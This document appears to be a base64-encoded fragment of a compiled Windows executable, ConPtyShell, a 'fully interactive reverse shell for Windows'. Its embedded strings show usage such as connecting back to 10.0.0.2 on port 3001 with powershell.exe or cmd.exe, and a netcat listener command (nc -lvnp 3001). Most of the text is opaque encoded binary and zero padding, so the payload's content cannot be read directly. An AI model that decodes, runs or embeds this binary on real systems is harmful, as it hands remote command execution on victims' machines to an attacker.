ZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgAHUAcABnAHIAYQBkAGUAIABzAGgAZQBsAGwAIAAzADAAIAA5ADAADQAKACAAIAAgACAAIAAgACAAIAANAAoAAQCnWUqJUXh9TY7y+kxyCA0RAAi3elxWGTTgiQIGDjRbAC0AXQAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgA6ACAAAyAAAQQgAQEOAgYCAgYYBAABAhgFAAIJGAkLAAYYCQkSEBgJEAkEIAEJCQQgAQIYBSACARwYCCADEhkJEh0cBSABCRIZAgYJBAAAAAAEBAAAwAQFAACABCMAAMACBggEAQAAAAQCAAAABBAAAAAHAAIIBhARLAgAAwgYCBARNAsABhgICAgQETQICAMAAAgJAAMIGBAROBAIBwADGBEoAggLAAcCGBgYEBgJAgkDAAAYCgAFCRgRHBgJEAgIAAQJCBgIEAgFAAIYCAgHAAMYGBEcCAUAARgSIQYAAgIYEiECBgcCBgUDBhEcBAMAAAAEBAAAAAMGESQDBhEoBP8PHwAECAAAAAQgAAAABEAAAAAEgAAAAAQAAQAABAACAAAEAAQAAAQAEAAABAAAEAACBgYDBh0JAwYRJQMGETACBgoLAAUIGAgQETwIEAgEAAASIQUAARIhCAUAARIhGDh7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAQWAAIABAAACAAEAAAACAT/////BAAAAIAEAAAAQAT2////BPX///8E9P///wgABAIYCAgQGAoABwIYCRgYGBgYFQAKAg4OEBFQEBFQAgkYDhARRBARTBEACgIODhgYAgkYDhARSBARTAUAAgIYCQUAAgIIGAQAARgICwAEAhAYEBgQEVAICgAHGA4JCRgJCRgKAAUCGB0FCRAJGAoABQgRVBgYCRAYBAABCBgGAAICGBAJAwAAAgUAAgIYCAQAARgOBQACGBgODAAGGBEpES0RMRgJCAgAAwgYEBFcCAQAAQcHBAABCQ4HAAIIBhARWAgABAgYHQUICQQAAQkYBQACGA4ICAADARgQCRAJCwAEARAYEBgQGBAYCQADARAYEBgQGAYAAwEYGBgDAAABCwAFCBAYEBgQGAkJBgACEUQYGAgAAhFMEBFEDgYAAhFMGA4EAAEBHAYAAhI1GBgHAAMSNRgYGAkABg4OCAkJDgIDBhFIBAABAg4FAAEBHQ4EAAEODgQAAQgOBQABCR0OBQABDh0OBCABAQgFAAIODg4GBwMSEBgJBSABARFZAQIEAAEBGAQHAhgJBgABEmURaQUAAQgSZQMgAAgFAAICGBgDIAAOBgADDg4ODgQAAQEOBAABGBgDIAAKBCABAQoGAAIcGBJlBAABCBwEAAEYCgQAAQ4YBQACAg4OFAcOESAKGBgYGA4YEgwIERgIGBEYCwcHGBE4ETgICAgIBQACDg4cBwAEDg4ODg4LBwcYGBE0ESwICAgFIAEBEXUDF4EBAxeAgQIeBwMXgQADIAAYBAcBEiEIBwQRPAgIEiEEAAEICAoHBggIDhFYGBFcBAABAQgFAAASgIkHIAMOHQUICAYgAR0OHQMGAAICDhAIDgcJHQUICAgODg4dAx0DBAcBEVAEBwIYGAQHAgkYBQcCCBFUBQACDhwcBgcDGAIRRAoHBRFMEVAIEVACBgcCEUQRTAIdHAwHCB0cGBgIAggJHQUGIAEBEoCRBCABARwGBwIdHBI1DQcJHRwYGBgIAggJHQUHAAQODhwcHAYAAw4OHBwGAAIODh0cHwcWGBgYGBgYGBgYAgICAg4SIRIhEiERTAgRSBI1EjUFAAASgJUIAAICDhASgJkFBwESgJkDBwEIAwcBCQMHAQ4EIAECDgkHBw4OCAIJCQ4IAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAADYfwAAAAAAAAAAAADufwAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4H8AAAAAAAAAAF9Db3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC